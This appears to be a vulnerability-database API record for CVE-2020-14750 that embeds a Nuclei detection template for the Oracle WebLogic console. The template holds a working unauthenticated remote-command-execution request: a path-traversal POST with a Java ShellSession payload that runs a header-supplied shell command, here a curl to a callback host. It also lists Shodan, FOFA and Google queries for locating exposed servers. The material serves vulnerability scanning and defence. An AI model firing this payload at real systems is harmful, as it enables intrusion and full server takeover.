{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-14750/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-14750/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-14750/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-14750/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-14750/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-14750"},"sightings":{"href":"/api/v1/sightings/cve-2020-14750"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-14750.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-14750\n\ninfo:\n  name: Oracle WebLogic Server - Remote Command Execution\n  author: princechaddha,DhiyaneshDk\n  severity: critical\n  description: |\n    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.\n  remediation: |\n    Apply the latest security patches provided by Oracle to mitigate this vulnerability.\n  reference:\n    - https://github.com/pprietosanchez/CVE-2020-14750\n    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-14750\n    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-14750\n    epss-score: 0.9927\n    epss-percentile: 0.99936\n    cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: oracle\n    product: fusion_middleware\n    shodan-query:\n      - http.html:\"Weblogic Application Server\"\n      - http.title:\"weblogic\"\n      - http.html:\"weblogic application server\"\n    fofa-query:\n      - title=\"weblogic\"\n      - body=\"weblogic application server\"\n    google-query: intitle:\"weblogic\"\n  tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 10s\n        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        cmd: curl {{interactsh-url}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\n        weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\n        java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\n        field.setAccessible(true);\n        Object obj = field.get(adapter);\n        weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\n        String cmd = req.getHeader(\"cmd\");\n        String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\n        if (cmd != null) {\n            String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\n            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\n            res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\n            res.getServletOutputStream().flush();\n            res.getWriter().write(\"\");\n        }executeThread.interrupt();\n        \");\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: header\n        words:\n          - \"ADMINCONSOLESESSION=\"\n\n      - type: regex\n        part: body\n        regex:\n          - '<html><head></head><body>(.*)</body></html>'\n# digest: 4a0a0047304502203acfc701e2b4a3cc323dc4ba6358871c74f7679e1c9ca9372f4ab7b326614dde022100862918862fe62be59bdb919cbe54543817cfbae4678cd34d0be324d1e3f64344:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-14750"}